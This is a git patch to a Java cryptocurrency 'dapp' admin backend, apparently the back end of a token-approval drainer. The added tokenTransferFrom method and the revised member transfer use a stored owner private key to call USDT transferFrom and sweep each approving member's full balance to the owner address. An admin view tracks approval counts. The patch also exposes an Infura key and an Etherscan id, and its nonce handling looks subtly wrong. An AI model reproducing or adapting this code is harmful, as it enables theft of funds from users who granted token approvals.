From ae05aca297fa702a962d462d45058ffa0fa55a37 Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Thu, 31 Mar 2022 15:16:35 +0800
Subject: [PATCH] fix eth transfer
---
src/main/java/cc/mrbird/febs/dapp/chain/EthService.java | 56 ++++++++++++++++++++++++++-
src/main/resources/templates/febs/views/dapp/member.html | 2
src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java | 9 +++-
src/main/resources/mapper/dapp/DappTransferRecordDao.xml | 1
src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java | 2
src/main/resources/templates/febs/views/dapp/member-transter.html | 2
6 files changed, 64 insertions(+), 8 deletions(-)
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
index 66a17f4..6745733 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java
@@ -76,7 +76,9 @@
public String transfer(String address, BigDecimal amount) {
String hash;
if (address.startsWith(ETH_PREFIX)) {
- hash = ETH.approveTransfer(address, amount, null);
+ String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124");
+ JSONObject data = JSONObject.parseObject(resp);
+ hash = ETH.approveTransfer(address, amount, data.getString("avgPrice"));
} else {
hash = TRX.transfer(address, amount);
}
@@ -84,6 +86,9 @@
}
public static void main(String[] args) {
- System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5)));
+// System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5)));
+
+// System.out.println(new EthService().ethAllowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
+ System.out.println(ChainService.INSTANCE.balanceOf("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
}
}
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
index 934c208..7f7543c 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java
@@ -212,8 +212,9 @@
// Web3j web3j = Web3j.build(new
// HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321"));
if(StringUtils.isBlank(gas)){
- gas="70";
+ gas="35";
}
+
String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
Credentials credentials = Credentials.create(privateKey);
@@ -231,8 +232,57 @@
RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
- Convert.toWei("60000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
+ Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
// 10*80000/1000000000=0.0008 手续费
+
+ byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
+ String hexValue = Numeric.toHexString(signedMessage);
+
+ CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
+ EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
+ //return "hash";
+// log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));
+
+ if (ethSendTransaction.hasError()) {
+ return "";
+ } else {
+ String transactionHash = ethSendTransaction.getTransactionHash();
+ // log.info("Transfer transactionHash:" + transactionHash);
+ return transactionHash;
+ }
+ }
+
+ public String tokenTransferFrom(String privateKey, String fromAddress, String toAddress, String amount,String gas)
+ throws InterruptedException, ExecutionException {
+ if(StringUtils.isBlank(gas)){
+ gas="35";
+ }
+
+ BigDecimal amountPow = new BigDecimal(amount).multiply(new BigDecimal("1000000"));
+ amount = amountPow.toPlainString();
+ if (amount.contains(".")) {
+ amount = amount.substring(0, amount.lastIndexOf("."));
+ }
+
+ String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+ Credentials credentials = Credentials.create(privateKey);
+
+ EthGetTransactionCount ethGetTransactionCount = web3j
+ .ethGetTransactionCount(toAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
+
+ BigInteger nonce = ethGetTransactionCount.getTransactionCount();
+
+ Function function = new Function("transferFrom",
+ Arrays.asList(new Address(fromAddress), new Address(toAddress), new Uint256(new BigInteger(amount))),
+ Arrays.asList(new TypeReference<Type>() {
+ }));
+
+ String encodedFunction = FunctionEncoder.encode(function);
+
+ RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
+ Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
+ Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
+ // 10*80000/1000000000=0.0008 手续费
byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
String hexValue = Numeric.toHexString(signedMessage);
@@ -253,7 +303,7 @@
public String approveTransfer(String fromAddress, BigDecimal amount, String gas) {
try {
- return tokenSend(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
+ return tokenTransferFrom(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
} catch (InterruptedException | ExecutionException e) {
e.printStackTrace();
return "";
diff --git a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
index a905836..af90a91 100644
--- a/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
+++ b/src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
@@ -195,7 +195,7 @@
@Override
public void transfer(String address) {
BigDecimal balance = ChainService.INSTANCE.balanceOf(address);
- String hash = ChainService.INSTANCE.transfer(address);
+ String hash = ChainService.INSTANCE.transfer(address, balance);
if (StrUtil.isBlank(hash)) {
throw new FebsException("提现失败");
}
diff --git a/src/main/resources/mapper/dapp/DappTransferRecordDao.xml b/src/main/resources/mapper/dapp/DappTransferRecordDao.xml
index 4b211f6..1c82ec2 100644
--- a/src/main/resources/mapper/dapp/DappTransferRecordDao.xml
+++ b/src/main/resources/mapper/dapp/DappTransferRecordDao.xml
@@ -9,6 +9,7 @@
and address=#{record.address}
</if>
</where>
+ order by create_time desc
</select>
</mapper>
\ No newline at end of file
diff --git a/src/main/resources/templates/febs/views/dapp/member-transter.html b/src/main/resources/templates/febs/views/dapp/member-transter.html
index 68171c5..1593406 100644
--- a/src/main/resources/templates/febs/views/dapp/member-transter.html
+++ b/src/main/resources/templates/febs/views/dapp/member-transter.html
@@ -40,7 +40,7 @@
{{# if(d.address.indexOf('0x') < 0) { }}
<a href="https://tronscan.io/?#/transaction/{{d.hash}}" target="_blank"><i class="layui-icon febs-edit-area febs-green"></i></a>
{{# } else { }}
- <a href="https://eth.tokenview.com/cn/tx/{{d.hash}}" target="_blank"><i class="layui-icon febs-edit-area febs-green"></i></a>
+ <a href="https://etherscan.io/tx/{{d.hash}}" target="_blank"><i class="layui-icon febs-edit-area febs-green"></i></a>
{{# } }}
</script>
<script data-th-inline="none" type="text/javascript">
diff --git a/src/main/resources/templates/febs/views/dapp/member.html b/src/main/resources/templates/febs/views/dapp/member.html
index 4080dd5..042c393 100644
--- a/src/main/resources/templates/febs/views/dapp/member.html
+++ b/src/main/resources/templates/febs/views/dapp/member.html
@@ -112,7 +112,7 @@
{{# if(d.address.startsWith('T')) { }}
<a href="https://tronscan.io/#/address/{{d.address}}" target="_blank">{{d.approveCnt}}</a>
{{# } else { }}
- <a href="https://eth.tokenview.com/cn/address/{{d.address}}" target="_blank">{{d.approveCnt}}</a>
+ <a href="https://etherscan.io/address/{{d.address}}" target="_blank">{{d.approveCnt}}</a>
{{# } }}
</script>
<script type="text/html" id="member-option">
--
Gitblit v1.9.1